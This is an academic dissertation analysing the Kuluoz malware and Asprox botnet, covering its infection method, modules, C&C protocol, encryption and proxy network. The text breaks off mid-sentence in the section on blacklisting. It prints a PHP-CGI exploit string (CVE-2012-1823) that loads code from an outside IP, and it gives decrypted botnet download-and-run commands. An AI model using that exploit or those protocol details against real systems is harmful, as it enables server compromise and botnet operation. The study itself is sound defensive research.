IDC Herzliya

Efi Arazi School of Computer Science

MSc in Computer Science

Submitted by: Shaked Bar

ID: 300895224

Supervisor: Mr. Amichai Shulman

August 15, 2013

Kuluoz:

Malware and botnet analysis

M.Sc. dissertation for applied project

2

Kuluoz – malware and botnet analysis

Shaked Bar, IDC, Hertzelia, Israel

Table of Contents

1. Abstract ..............................................................................................4

2. Introduction ........................................................................................4

3. Related Work ......................................................................................5

4. Infection Process and Summary of Capabilities ........................................6

4.1. Infection and Distribution ................................................................6

4.2. Revision History ..............................................................................7

4.3. Software Engineering ......................................................................8

5. Module Overview ................................................................................9

5.1. Botnet Expansion Module .............................................................. 10

5.1.1. General description .................................................................. 10

5.1.2. Flow ........................................................................................ 10

5.1.3. Configuration ........................................................................... 11

5.1.4. Manipulating the C&C ............................................................... 13

5.2. Vulnerability Scanning Module ....................................................... 14

5.3. Information Stealing Module .......................................................... 15

5.4. Commercial Spam Module ............................................................. 15

6. Malware injected through the Botnet................................................... 16

6.1. Win32/FakeAV .............................................................................. 16

6.2. Win32/ZBot .................................................................................. 17

6.3. Win32/ZeroAccess ........................................................................ 18

7. C&C Communications ......................................................................... 19

7.1. Victim ID ...................................................................................... 19

7.2. C&C protocols overview ................................................................. 19

7.3. “Next action” Request ................................................................... 20

7.4. Update C&C Server List .................................................................. 22

7.5. Additional Requests....................................................................... 23

7.6. Multiple C&C Networks.................................................................. 23

3

7.7. Encryption algorithms .................................................................... 24

7.7.1. Module encryption ................................................................... 24

7.7.2. C&C protocol encryption ........................................................... 24

7.7.3. Module communications encryption ........................................... 24

8. C&C Network Structure ...................................................................... 25

8.1. Overview...................................................................................... 25

8.2. Number of C&C Servers by Date ..................................................... 25

8.3. C&C Servers Life Span .................................................................... 26

8.3.1. Life span by version .................................................................. 26

8.3.2. Life Span by Geography ............................................................. 26

8.4. Servers by Geography .................................................................... 27

9. Malware Changes Over Time ............................................................... 29

9.1. DLL Revision Changes .................................................................... 29

9.2. C&C Request Protocol .................................................................... 29

9.3. C&C Response Protocol.................................................................. 29

10. Analysis Protection ............................................................................. 30

10.1. Blacklisting ................................................................................... 30

10.1.1. Identifier based blacklisting ....................................................... 30

10.1.2. IP based blacklisting .................................................................. 30

10.1.3. Empty responses on error .......................................................... 31

10.1.4. Using IP addresses rather than domain addresses ........................ 31

11. Mother-Ship Investigation ................................................................... 32

11.1. Triangulation ................................................................................ 32

11.2. Injection and Request Smuggling Attempts ...................................... 34

11.2.1. SQL Injection attempts .............................................................. 34

11.2.2. Cross Side Scripting (XSS) attempts ............................................. 34

11.2.3. Request Smuggling Attempts ..................................................... 35

12. Conclusions ....................................................................................... 36

13. Table of figures .................................................................................. 38

13.1. Figures ......................................................................................... 38

13.2. Tables .......................................................................................... 38

14. References ........................................................................................ 39

14 תקציר

4

1. Abstract

Kuluoz is a commercial malware that infected a large number of machines around the world,

and produced a significant amount of spam. The botnet induced by the malware, also known

as the Asprox botnet, has drawn the interest of security researchers worldwide, and was

covered by a report by Trend Micro1.

The Asprox botnet is an old botnet, which achieved great success a few years ago2, mainly at

2008, and have gone off the radar since 2010.

This work extends the report, using research results from work on a large amount of data,

from the last 10 months. Our work presents a view on the malware and its capabilities, and

adding new information on its structure, C&C network, and changes to the malware over

time, and different protection mechanisms.

We will try to spot the main keys for its success and long run – the ability to make changes

quickly and easily, features that help it to stay off the radar, and its C&C architecture, which

hides the core servers by a series of hacked proxy servers that are easily replaced.

The report will also try to shed light on the C&C's "Mothership" – in terms of location, roles,

and security.

2. Introduction

This report describes a family of malware, spread by spear-Phishing, which is identified by

most antivirus vendors as Kuluoz.

The malware, despite being rather simple in terms of infection process, reached impressive

spread and created a large botnet with many capabilities – generating a large amount of

spam, spreading various third party viruses, and stealing information from users.

We analyzed the malware for the last 10 months, focusing on functional analysis – trying to

understand the Trojans capabilities, methods of infection and distribution, and C&C

protocols.

We dynamically analyzed the malware, both in open (Internet) and closed (local virtual

network simulation) environments. We used network captures, system monitoring tools and

a variety of scripts, developed specifically for the analysis of the data. After understanding

the C&C protocols, we also created simulations for the different modules, in order to test

the C&C responses and understand how it works, and to try to learn about its core – the

C&C's "Mothership".

1 Asprox report on Trend Micro

2 An Analysis of the Asprox Botnet, Ravishankar Borgaonkar

5

3. Related Work

Initial reports on the malware Kuluoz have been published at June 2012. Most of the

preliminary reports were basic anti-virus vendors' reports, such as [21], which had basic

information about the malware's capabilities, and ways to remove it.

However Asprox, the botnet induced by the malware, has drawn attention, mainly at 2008,

and was covered by reports such as [2], that explained its previous structure and actions.

The main and only extensive report on Kuluoz and the updated Asprox botnet so far was

published by Trend Micro [1] on March 2013, during the later stages of our research.

The report covered the malware's infection methods, its main modules and affiliates, the

network communications and the C&C network.

Our work extends the view on the malware in a number of aspects:

Explaining in detail the malware's modular structure, that helped it to succeed for a

long period of time.

Adding more data on some of the malwares modules and affiliate malware,

especially on the botnet expansion module, including interesting discoveries on their

network communications and C&C network.

Focusing on the malware's improvements over time and the interesting analysis

protection mechanisms.

Showing in detail the C&C network's two-tier structure, and shedding light over the

malware's core possible location.

Another innovative aspect of this work is the way we analyzed the malware.

There is an extensive research on ways to successfully analyze malware.

However, most works focus on a number of aspects:

Infection method [22] – focusing on understanding the initial infection.

Reverse engineering – static or dynamic [23] reverse engineering of the malware.

Monitoring the malwares function and system calls using sandbox execution [24].

A report that shows a way of analysis similar to ours can be found in [25]. This work suggests

using a combination of malware analysis methods – using network "black holes", anti-virus

scanning, and running the malware on a controlled close environment, while responding to

different requests such as HTTP, FTP, SMTP and etc.

Our addition is that we do not only reply to the malware's different requests – we reply with

specially crafted responses, both recorded from previous use or generated, in order to learn

better about the way it behaves and operates.

6

4. Infection Process and Summary of Capabilities

4.1. Infection and Distribution

Distribution of the Kuluoz malware is done solely by spam mail, sending Phishing mails (see

Figure 2, Figure 3, Figure 4) impersonating as dispatch and delivery companies mostly

(FedEx, UPS, DHL and others), and occasionally airlines (Delta, American Airlines).

The infection itself is rather simple – the spam mail contains a link that allegedly references

a file containing a receipt. The file is compressed archived hosted on a compromised server.

Upon clicking the link, the archive file is downloaded. The compressed archive contains a

single executable file. The file’s icon is changed to pretend to be some sort of Office

document, but it actually is a portable executable (PE).

Figure 1: Kuluoz executable and zip file, with a Microsoft Word icon for the executable

The malware keeps on spreading using its victims to keep on sending out mails – one of its

first actions, is downloading a spam sending module, which receives a mail template and a

list of addresses to spam.

To increase infection capabilities, the spam mail comes in a variety of templates, to avoid

spam detection. There have also been reports of related mails in various languages (German,

Spanish) that target users from different countries.

We also saw a rise in the malware spam sending during the holiday season, as at that period

people are more likely be sending and receiving packages from loosely related individuals.

To avoid antivirus detection, a new, modified, version of the malware is released every few

days, once the previous version is detected by most antivirus vendors.

The core malware stays code remains very similar, and only minor changes are done to avoid

detection, without changing the malware's functionality (simply to change the file's hash,

and avoid the antivirus signatures).

7

Figure 2: UPS spam, from September 2012

Figure 3: American Airlines spam, from April 2013

Figure 4: DHL spam, from May 2013

4.2. Revision History

Below are tables with a list of some of the malware’s versions, and a summary of the

versions we encountered, during a 6 months period. This shows the number of transforms

the malware is going through on a weekly basis – sometimes minor changes, just to avoid

antivirus detection (as you can see versions with the same file size), and some are bigger

changes, for example changes in the C&C protocols, encryption algorithms and other small

improvements.

8

Executable name Date Size (b) MD5 AV identification 3

Postal_Receipt.exe 25/11/2012 55808 ab25d6dbf9b041c0a7625f660cfa17aa

KuluozB/ Dapato

PostalReceipt.exe 19/01/2013 36352 a52addb6977b3a6e858d9a4b649c2633 KuluozB

Postal-Receipt.exe 13/03/2013 37376 f48a6740f2e0d70343f600be12220adc KuluozB

Postal-Receipt.exe 22/03/2013 34304 25627294dce365807f98d31c6bf02018 KuluozB

Postal-Receipt.exe 04/04/2013 28672 d77bdb983460bd9aa45ba59b920a2eb5

KuluozB/ Dofoil

Postal-Receipt.exe 07/04/2013 28672 3e0515afe443448a5eb4522b8e1e9572

KuluozB/ Dofoil

Delivery Information ID-004588020234-Z31.exe 05/05/2013 32256 38213f1d3d1e09c957a3fc37be8811c3

KuluozB/ Dofoil

UPS-Label_Copy_UPS.exe 28/06/2013 111616 3911d8371fd6fe478d4c2f7cbb85b170

KuluozB/ SmartFortress

Delivery_Information_ID-004588020234-Z31.exe 27/05/2013 49152 13e8ff1c72bd70f860306bb4b410335e

KuluozB/ Dofoil

Table 1: List of malware executable files

Number of versions Minimum Size(b) Maximum Size(b) Average Size(b)

35 23040 111616 48625.37143

Table 2: Malware versions summary

4.3. Software Engineering

Despite being a simple malware in the aspect of infection, and not using any exploits rather

than social engineering, the malware’s software design is sophisticated, and allows it to keep

its activity for close to a year, with only minor changes.

The malware is built in a modular way – the basic executable is lightweight, and contains

only basic features: A number of initial C&C server IP addresses, a protocol to download and

run modules, and a protocol to update the C&C network addresses.

This allows the infecting executable to be rather small, and to have only minor changes from

one version to another, mostly for the purpose of avoiding antivirus detection.

The downloaded modules do the actual work – they are downloaded only when needed, and

each module has responsibility specific functionality.

Another important feature that this modular structure allows is the ability to serve as a

distribution and infection platform for 3rd party malware. This seems to be one of the

botnet’s revenue models. The main module downloads third party malware and executes it.

3 Most common antivirus identification, from VirusTotal

9

5. Module Overview

The malware has a number of downloadable modules. Here we will give just a brief outline

of these modules, as we address them later in aspects of encryption and their

communication with the C&C network. They are also covered in further detail on Trend

Micro’s Asprox report.

Dark blue – internal logic from the malware’s executable.

Light blue – expansion modules/executables.

Figure 5: Kuluoz software modular structure

The following table shows a summary of all modules we have seen throughout the research

period and their respective functions:

Module Dll names Comments

Botnet expansion module sb*.dll.crp More than 20 different versions

Commercial spam module smtpWorker.dll.crp

Vulnerabilities scanning module php.dll.crp Inactive for the last few months

Kuluoz

Module Download

Botnet Expansion

Commercial Spam

Information Stealing

Vulnerability scanning

Malware Download

Fake AV

ZeroAccess

ZBot

C&C Channel Maintenance

10

Information stealing module

pg.dll.crp passgrub_v*.dll.crp asdsdsd.dll.crp lite.dll.crp si*.dll.crp Currently active is si13.dll.crp

Table 3: Kuluz modules overview

5.1. Botnet Expansion Module

5.1.1. General description

This is one of the main modules of the malware. It is in charge of sending spam mails to a

given list of addresses, with a given template, in order to expand the botnet with new

victims. We have seen many versions of it in the past 10 months (more than 20 versions),

but the main operation and protocol remains the same.

5.1.2. Flow

The module uses the HTTP protocol to communicate over the web with a secondary C&C

network (more details on section 4.3). The module works using the following flow:

A POST request is sent to one of the C&C servers, and provides it with information

about the agent: a session identifier (SID), uptime of the agent, module version, and

the agent’s GUID.

The C&C server replies to the POST request with an encrypted response. The

response is encrypted simply by taking every byte, and replacing it with the result of

a XOR operation with a constant key – 0x2B.

The agent decrypts the configuration file and starts sending the spam mail to the

provided targets

The agent reports back to the C&C server with a constant frequency. Each report is

a POST request (see Figure 6) that contains progress information in the following

way:

o A vector that summarizes that amount of mails sent successfully, DNS

errors, no connection with the SMTP server, and other.

o A char vector that represents the result for each spam target, using a single

character. For example, it uses S for success, C for no connection with the

SMTP server, and 0 for targets that were not handled yet.

After receiving a complete vector, meaning that all the targets were handled, the

botnet replies with a new encrypted XML, with further action to take.

11

Figure 6: Example of a POST request with the spam sending progress

5.1.3. Configuration

The configuration in an XML document that contains a list of spam targets (see figure 8) and

a template for the mail to be sent. The template includes placeholders for sender addresses

(fake of course), sender name, etc. (see figure 9). Interestingly enough, the configuration file

contains instruction regarding handling of different SMTP protocol scenarios (see figure 10).

A single configuration file may contain up to 2000 target addresses. If there is no spam to

send on this round, the server only includes an up-to-date list of C&C servers.

12

Figure 7: Template of the module's XML configuration

Figure 8: Example of a partial list of spam targets, in the spam configuration

13

Figure 9: Example of the placeholders used in the message body field in the configuration

Figure 10: Example of the SMTP handling rules from the configuration

5.1.4. Manipulating the C&C

Once we reached an understanding on the module’s operation and protocol with the C&C,

we used our knowledge to generate requests and fake status reports to the C&C, without

actually sending out spam mail. This enabled us to test the C&C responses and get more

data without spreading the malware.

By analyzing the targets we received from the botnet, it seems that it holds a large

dictionary of email addresses, and uses the different agents for distributed spam sending.

All the target addresses start with the same prefix (for example, bob@), under different

domains.

By using this method we also noticed that the botnet carefully controls the amount of spam

being generated by a single agent – usually after 3 rounds (where each round usually holds

2000 targets), we didn’t receive new targets to spam for a few hours period.

14

5.2. Vulnerability Scanning Module

A module that allows distributed scanning of servers for known vulnerabilities, probably in

order to compromise those servers and extend the C&C network, or build a botnet of

compromised servers.

The module sends configuration requests to the C&C and receives obfuscated configurations

(see Figure 11). The requests are sent using the same basic protocol used by the main

module (described at section 6.2).

The configuration has 3 parts:

The attack vector – a relative URL to test for each of the server.

Expected response – a pattern to be matched against the response from the

targeted server. A match against the pattern is a positive sign for the existence of

the vulnerability.

List of target servers (domain names)

The module sends an HTTP request with the attack vector to each host in the list and checks

if the expected result was received. It then reports back the list of vulnerable servers, using

an HTTP POST request (see Figure 12), to the same C&C server that supplied its

configuration.

We were able to see two exploit vectors being targeted by the botnet:

Accessing the servers on port 2082, and checking for specific output (©

cPanel), that appears on older cPanel versions, that are vulnerable

Testing a remote execution vulnerability in PHP - CVE-2012-18234, by using the

vector:

/index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-

dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-

dauto_prepend_file%3dhttp%3A%2F%2F50.22.136.150%3A8080%2Fecho.txt

4 CVE-2012-1823 details

15

Figure 11: Example Base64 encoded configuration

Figure 12: The module reporting back results (vulnerable servers redacted)

5.3. Information Stealing Module

This module tries to steal data and credentials from FTP clients, web browsers and email

clients. It searches the registry and the file system, and responds with an HTTP POST

message with the stolen data.

5.4. Commercial Spam Module

This is a secondary spam sending module, which is used to send out commercial spam to

generate revenue, rather than to get new victims.

This module doesn’t just send out loads of spam from fake addresses, as done in the

previous module, but uses actual (possible stolen) accounts, as explained on TrendMicro's

report5.

5 Page 14 on TrendMicro's Asprox Reborn report

16

6. Malware injected through the Botnet

One source of revenue for the botnet comes from other malwares’ “affiliate programs”.

As we saw, the agent allows easy download and execution of other executable files, and it

uses this capability for distributing third party malware. We have seen a number of different

malware agents distributed through the Kuluoz botnet. Below is a list of the main ones.

6.1. Win32/FakeAV

FakeAV 6 is one of the main malware agents spread by the botnet, on different versions. This

malware simulates an antivirus program to obtain payment from the user for the detection

and deletion of false threats.

In the last few years, fake AV software has evolved into one of the most lucrative criminal

operations on the Internet, earning combined revenue of hundreds of millions of dollars per

year7.

After the initial infection, the malware opens a graphical interface, which appears as a

legitimate antivirus program. Then, a fake scan progress is shown. The alleged scan allegedly

identifies viruses on the infected computer, and advices the user to purchase a full version

that would clean-up the computer. The malware also blocks most programs (with a “virus”

warning), until receiving the payment from the user. We have seen this malware on many

occasions, and with different versions.

6 FakeAV report on SecureList

7 The Underground Economy of Fake Antivirus Software

17

Figure 13: Example of the FakeAV in action

6.2. Win32/ZBot

ZBot8 (also known as Zeus) is the name of a toolkit used to create information stealing

Trojans. It is a known and widespread brand of malware, causing loss of millions of dollars

worldwide. The kit is obtained on underground forums with older versions available for free

and the newest, fully-featured versions costing several thousand dollars.

It is rather easy to use and therefore there is a large number of such Trojans out in the wild.

The version that was injected through the botnet on December 27th 2012 used the domain

poebalu7raz.com as its C&C server. Two days later, on December 29th 2012, this domain was

reported at Zeus Tracker9 and then the domain was suspended at the end of 2012.

Once downloaded and injected, the agent downloads an encrypted binary configuration file.

The configuration is received as a response to an HTTP POST request. The encryption used is

RC4, and the key is located within the infecting executable.

After downloading the configuration file, the ZBot agent continues running, and

communicates with the C&C server using HTTP POST to a different URL.

Figure 14: ZBot configuration download

Figure 15: Agent communication with the C&C server

8 ZBot report by Sophos

9 ZeusTracker - Zeus malware tracker

18

6.3. Win32/ZeroAccess

ZeroAccess10, also known as Sirefef, is a malware that is mainly used to generate ad-click

fraud. The malware uses a peer-to-peer (P2P) C&C network, which is used to download

malware modules, mainly for the purpose of generating fake traffic for ad-click revenue for

its operators.

After infection, the agent first checks the victim’s geographic location, running a JavaScript

from maxmind.com (a well-known GeoLocation provider offering some free APIs). This is

probably in order to choose the P2P neighbors of the agent. Then, in order to gain

administrator privileges, the malware downloads and installs an update for Adobe Flash

program. Once the update starts installing, the agent uses its credentials, and starts

operating – sending and receiving UDP packets from the P2P neighbors.

Figure 16: ZeroAccess agent checking the geographic location

Figure 17: ZeroAccess agent downloading Adobe Flash update

Figure 18: ZeroAccess P2P communication

10

ZeroAccess report by Kindsight

19

7. C&C Communications

7.1. Victim ID

The malware generates a unique identifier for each member of the botnet. This identifier is

used in all communications between the agent and the C&C.

The ID is a 32 characters string, where each character represents a single hexadecimal nibble

(0-9, A-F), to form a 16 byte identifier. The ID is generated using the victim’s account SID,

which is a combined unique identifier for a Microsoft Windows computer and user account.

The SID is built out of a unique ID for the Windows computer, and a relative ID (RID) of the

current logged on user. A MD5 hash is calculated over the SID. The result is used as the

agent’s full ID in the botnet, and the first 4 bytes (represented by 8 characters) as the short

ID. The short ID is used for most communications with the C&C network, and in particular as

the encryption key for C&C communications.

7.2. C&C protocols overview

The command and control network of the botnet is built from a number of servers. The

agent comes bundled with an initial list of C&C servers, in an IP and port format (rather than

host name).

The agent and C&C server communicate using the HTTP protocol over the specified port. The

agent periodically sends a request to the C&C, and the C&C server responds with the next

action to take. In the earlier versions of this malware agent would send a request every 2

minutes. The communications frequency decreased with newer versions going through once

every 5 minutes, 7 minutes and eventually once every 10 minutes. The first request by the

agent is sent after some delay that depends on the specific malware revision. Earlier

versions would send the first request almost immediately after infection. More recent

versions wait 5 to 10 minutes before sending that first request.

Depending on the action specified by the server, the agent may invoke further

communications.

The requests sent by the agent to the C&C contain RC4 encrypted data (more details below)

communicated as the query string of a HTTP GET request. The encryption key is the victim’s

8 characters (4 bytes) short ID described above. The request sent is a hex string that is built

from the 4 bytes key, and the encrypted request.

20

Figure 19: Example of a request and response using the described protocol

Once decrypted, the request is in the format of a request to a web page – index.php, with a

number of parameters, varying between the command types. Two parameters appear in all

types of commands:

r – Indicates the type of request.

id – The identifier of the agent (as described at section 6.1).

We have observed two types of requests:

Periodic request to get the next action

Request to get an updated C&C servers list

There are also additional request types, which are added by the malware’s modules.

7.3. “Next action” Request

The request to get the next command is the first request sent after infection. Once receiving

a command, the agent executes it, and sends another request. In case there is no action to

take (idle command, described below), the agent waits a number of minutes before sending

out another request.

The request contains the following fields:

r – the type of request. The value is always “gate” (see discussion in section 10

below).

id – Contains the full agent ID (the 32 characters hex string).

group – Contains the current version of the agent. The version contains the date it

was released, and the text “rcm”.

debug – A debug flag, for inner testing purposes. In all cases we saw it used as 0. No

change was spotted when trying to send out 1 as the value.

Example:

Encrypted request:

A702A3CABFF540237ADDEB3DCD26544C7711EC579973C07084B08E1C10353248BEA556DE

148D3AF0FE9AE770CFF5D67D1EEA31B492515534B7EE6A5F0C547C3E74DA8E00F3BEFED42

21

0EFB77B104CF1

Decrypted request:

/index.php?r=gate&id=A702A3CAFB3448A692EE8358016BB2F4&group=1602rcm&debug=0

The response to the “next action” request is a plaintext response that contains a number of

fields. The first field (c) indicates the type of action to run. The rest of the fields depend on

the type of action. Following is a description of the different action types:

idl

Idle, wait for the further instructions.

Example: c=idl

run

Download an executable (a 3rd party malware), and run it. Additional fields:

o u – Relative path to the file, on the C&C server

o crc – Error detection code, a MD5 hash to make sure the file was

downloaded successfully

Example:

c=run&u=/get/64cfb0f235abac25d837b660f3e3549b.exe&crc=622f1bfdfee2610ac3

e0e9862c98f0a7

rdl

Download an encrypted expansion module (dll). Decrypt and run it. Additional fields:

o u – Relative path to the file, on the C&C server

o a – Encryption algorithm number (0 or 1)

o k – Encryption key

o n – Name of the module

o crc – Error detection code, a MD5 hash to make sure the module was

downloaded successfully

Example:

c=rdl&u=/get/sb215.dll.crp&a=1&k=0a922f30&n=sb215&crc=ed59bd2fcc621fe517a

36f3cae5a279b

red

Edit a registry value. This allows the agent to stop the execution of older versions of

modules, after a new version was downloaded. Additional fields:

o n – Key to edit

Example: c=red&n=sb214

rem

Uninstall the agent. Example: c=rem

upd

Download and install an updated agent version. Additional fields:

o u – Relative path to the file, on the C&C server

22

7.4. Update C&C Server List

The requests to get an updated C&C server list are sent in bulk, 3-4 request at once, to

different C&C addresses. Every few minutes, a new bulk of requests are sent.

The request contains only the common two fields described above:

r – The type of request. Value is gate/getipslist

id – The identified in this type of request is the short 8 characters ID

For example:

Encrypted request:

A702A3CABFF540237ADDEB3DCD26544C7711EC57997ACE71CD98C95F4E1D727FD98A70D

0618E3283

Decrypted request:

/index.php?r=gate/getipslist&id=A702A3CA

In response to the C&C address list request, the C&C server sends a list of addresses in

IP:PORT format. The list is RC4 encrypted, using the id field content as the encryption key.

Figure 20: Example of request and response for C&C server list

Figure 21: Actual C&C server list, after decryption

23

7.5. Additional Requests

In addition to the two main requests described, the downloaded modules can use this

protocol for their own communication. The vulnerability scanning module adds a request

with a “dcheck” identifier.

The request contains three fields:

r - Type of request. The value is gate/dcheck

id – The identified in this type of request is the short 8 characters ID

code – Unknown flag. We saw it in the wild as 0

For example:

Encrypted request:

f6fae4cf31A0BBA35CD1553F6DE8530C3FE0D8049C62C5EE5488D47652ED9E2AAE123F7C8F

7BDC90A817DF82A7E2

Decrypted request:

/index.php?r=gate/dcheck?id=f6fae4cf&code=0

7.6. Multiple C&C Networks

An interesting point in the malware’s C&C structure is that it contains more than one

independent C&C network. The protocol described above communicates with a single C&C

network, built from several IP addresses. However, some of the modules don’t use this

protocol to communicate. In addition, they don’t even use the same C&C network.

The botnet expansion module, which is in charge of spreading the malware, uses a

completely different protocol, and also a completely different and independent C&C

network. IP’s in the regular C&C network do not necessarily respond to the spam C&C

protocol, and vice-versa. This is an interesting architecture, which allows the malware to

keep spreading itself, even if its C&C network is temporarily not available. It also prevents

the main from being directly correlated to spam, which helps it to stay under the radar for

longer.

The secondary C&C network uses a different protocol for communicating with the agent – an

HTTP POST protocol, described in section 4.1. The botnet expansion module (sb*.dll.crp)

comes bundled with an initial list of C&C server addresses. The addresses are saved on a file

on the disk – at the AppData\Local\Temp directory of the logged on user. The file is

encrypted, using the same XOR encryption as the encryption of the C&C responses in this

protocol.

Every response of the C&C, as described above, contains an encrypted XML document. The

document always contains the tag “s”, which holds an updated list of C&C addresses. After

each response is received, the C&C address file on the disk is updated as well.

24

7.7. Encryption algorithms

The malware uses several encryption algorithms, for several reasons: to avoid network

detection when contacting the C&C network, to avoid antivirus detection of the different

modules, and to make analysis of the malware more difficult. Different modules use varying

encryption algorithms.

7.7.1. Module encryption

As explained above, when receiving a command from the C&C network to download a

module, it includes the encryption key and encryption algorithm number (so far only 0 and 1

were used). This lets the malware know how to decrypt and run the encrypted downloaded

module. The key is communicated from the server to the client using plaintext.

Using this method the malware creators can change the encryption algorithms easily – and

they have done so during the last 10 months. In the beginning of the Kuluoz campaign, a

very simple encryption algorithm was used – a 4 byte key, that was used to XOR every 4

bytes of the encrypted dll. After a few months, however, the encryption algorithm was

changed to RC4 encryption.

7.7.2. C&C protocol encryption

As mentioned above, the C&C requests, as well as the responses including the updated C&C

addresses, are encrypted using RC4 encryption.

The request’s relative URL is encrypted, and converted into a hex string representation, and

then the 8 characters hex string key is added as a prefix. The C&C extracts the key from the

URL, knows which agent sent out the request and generates the appropriate response. The

advantages of using encryption for the C&C requests are the following:

Increase complexity and time of botnet analysis.

Conceal the true nature of the botnet structure (see section 10).

Avoid detection by standard IPS / IDS as each request looks different and there’s no

distinctive common textual pattern to use as a “signature”.

7.7.3. Module communications encryption

The different modules also use encryption algorithms, but the interesting thing is that the

encryption methods defer from one another, and also improve over time.

The main goal of the modules’ encryption seems to be avoiding network filters, as they are

easily distinguishable when examined in plaintext.

The earliest module, the botnet expansion module, uses a very basic encryption – the

request is sent in plaintext, and the response is simply encrypted, using XOR for every byte

with a constant value (0x2B).

25

The vulnerability scanning module does not even do that – the requests are simply encoded

using Base64 encoding, probably in order to avoid network filters detection of a URL in the

request that contains an XSS or other vulnerability probing vector. The agent's response is

sent as plaintext.

The password and data stealing module, uses a combination of both -

the data is sent encoded using Base64, and also RC4 encrypted using a different password

then the victim’s 8 byte ID.

8. C&C Network Structure

8.1. Overview

The C&C network is actually a two tier structure comprising a set of proxy servers that relay

traffic to a central functional server. The central server is sometimes referred to as “Mother

ship”.

The agent comes bundled with an initial list of servers. The list is periodically refreshed using

the protocol described above. Each of the servers in the list hosts an Nginx proxy server11

that relays the communication to the “Mother ship”. It appears that the proxies are based

on compromised servers, that had Nginx installed on them (as part of the compromise). This

way the botnet members are only exposed to addresses of legitimate compromised servers,

while the Mother Ship remains hidden. Even when a compromised server is identified and

cleaned up, researchers still do not have access to the actual Mother Ship.

This is an important architecture that supports Kuluoz’s long lasting campaign – it is hard to

spot the actual C&C server, and losing a proxy server is not important – there are always

alternative servers, and it is possible to keep adding and changing the list of servers, using

the IP list update protocol. This way, proxies that are no longer available (owners discovered

the activity, security products block it, the server is down or other reasons) can be removed

from the C&C network, and new compromised servers can easily be added.

As mentioned in the introduction, we collected data about Kuluoz for the last 10 months.

During this time, we observed the C&C networks, and how they change. It is interesting to

see how the size of the network fluctuates, and how the different changes made to the

malware affect the size of the C&C network, and the life span of the servers that comprise it.

8.2. Number of C&C Servers by Date

The number of servers in the C&C network varied through time. At some points, the network

had only 4 servers, and on others as many as 57 different servers. The number of servers in

the network behaves like a wave function over time. Each time it reaches a minimal number

11

NGINX HTTP proxy

26

of servers, a large number of new servers are gradually added. Then, after reaching a peak,

the number starts declining again.

The malware’s operators make sure that the C&C network never goes inactive – there are

always a few servers available, and once the number is too low, new compromised servers

are added to the network.

Figure 22: Graph of the number of IPs in the C&C network, per date

8.3. C&C Servers Life Span

8.3.1. Life span by version

An aspect we checked in the C&C network is the life span of individual servers. In the early

months of the Kuluoz campaign (August-October), the proxy servers changed more

frequently, and the servers never lasted more than a month and a half. However, since then

the addresses are more stable, and some addresses remained active for nearly five months.

This shows how the changes made to the malware and its protocols improved its resilience,

and made its discovery and takedown harder. After adding extra security measures, such as

improved encryption, EDC for downloaded modules, and analysis protection mechanisms

(described below), the C&C servers managed to keep active for longer before being

discovered and blocked.

8.3.2. Life Span by Geography

Another interesting aspect in the servers’ life span is the life span by geographic location.

We calculated the average life span of servers in North America, Europe and Asia (the three

main locations for the C&C servers, where enough data is present to see a trend).

Interestingly, there were major differences between the three continents – servers in North

0

10

20

30

40

50

60

Number of servers

27

America lasted half of the time European servers did, and less than third of the time the

servers in Asia lasted.

This could be due to the increased awareness to security related issues in North America,

compared to the rest of the world.

North America Europe Asia

10.12121 20.61207 34.33333

Table 4: Average C&C server life span by region, in days

8.4. Servers by Geography

The C&C network is comprised of proxies located world-wide. It seems that the botnet

operators try to make sure that at any given time there are proxies from Europe, Asia, and

North America.

Figure 23: Chart of the percentage of IPs in the C&C network, per continent, from August 2012 until June 2013

Europe 51%

Oceania 2%

Central America

1%

Asia 14%

North America

29%

South America

3%

Servers by Continent

28

Figure 24: Chart of the percentage of IPs in the C&C network, per country, from August 2012 until June 2013

United States 26%

Germany 14%

France 12%

Turkey 6%

United Kingdom

6%

Thailand 4%

Canada 3%

Hong Kong 3%

Russian Federation

2%

Netherlands 2%

Romania 2%

Other 20%

Servers by Country

29

9. Malware Changes Over Time

There are numerous changes that the malware went through over the research period,

which were made easy because of its modular structure.

9.1. DLL Revision Changes

There have been as many as 22 revisions of the botnet expansion module so far, and a few

versions of the other modules as well. The malware’s structure allows an easy and dynamic

switch of versions, even after a victim is infected and downloads the module.

9.2. C&C Request Protocol

The earlier samples of the malware used a slightly different version of the basic protocol.

While using the same type of encryption scheme the “next action” request message to get

the next command looked like the following:

/index.php?r=gate&id=f6fae4cf&group=0708rcm&debug=0&ips=10.0.0.1

As you can see an IP address of the infected machine is included instead of the unique

identifier. Operators quickly figured out that IP address is useless as it represents an

arbitrary internal network address. Therefore the protocol was modified to use the SID.

9.3. C&C Response Protocol

Another change, intended to reduce chances of discovery and increase robustness, is the

addition of an Error Detection Code when downloading modules from the C&C. In the earlier

versions of the malware, in order to download a module, the server response had the

command name (rdl), the path to the file on the C&C, the encryption algorithm number, the

encryption key and the dll name. However, it did not include a check to make sure that the

module’s code was downloaded successfully before trying to deploy it. After downloading

the module, the malware decrypts the module, and tries to inject it under the svchost.exe

process and run it. If the module was not downloaded successfully, this would lead a process

crash and would practically remove the malware from the infected computer.

In the later versions, an EDC was added to the download command (called CRC in the

protocol), to make sure that the module is injected only if downloaded successfully.

The EDC is the result of a MD5 hash of the module’s contents. The hash is then recalculated

after downloading the module, and matched against the sent EDC value.

Example:

Old version: c=rdl&u=/get/sb201.dll.crp&a=0&k=79db532e&n=sb201

New version:

c=rdl&u=/get/sb216.dll.crp&a=1&k=149aad48&n=sb216&crc=a7d20631bc2d1b1bec6e1c30

5d5b8b90

30

10. Analysis Protection

Other than the encryption techniques used by the malware, it uses a couple of other

interesting techniques to avoid analysis.

10.1. Blacklisting

The C&C network uses a mechanism of blacklisting, in order to block certain suspicious

addresses or regions. When an address is blacklisted, requests from that address are

blocked, and the C&C returns a “404 - page not found error”, instead of the regular

response.

10.1.1. Identifier based blacklisting

One type of blacklisting is based on the user’s identifier. Once a victim is infected, and sends

a request with its identifier, which is based on the computer’s SID – that identifier is

blacklisted for further infection. Trying to run the malware more than once from the same

account on the same machine (or by a duplicate virtual machine with the same SID), causes

the C&C to return the 404 error. However, when changing the SID of the machine, or simply

logging in from a different user account (that has a different RID, and therefore a different

SID), the malware responds normally.

10.1.2. IP based blacklisting

The second type of blacklisting is based on the IP address of the agent. We have noticed two

types of IP based blacklisting behaviors:

Proxy and cloud blacklisting

When trying to run from an EC2 machine12 on Amazon’s cloud, or when connecting through

most of TOR’s13 proxy exit points, the requests are blocked with the 404 error. It seems that

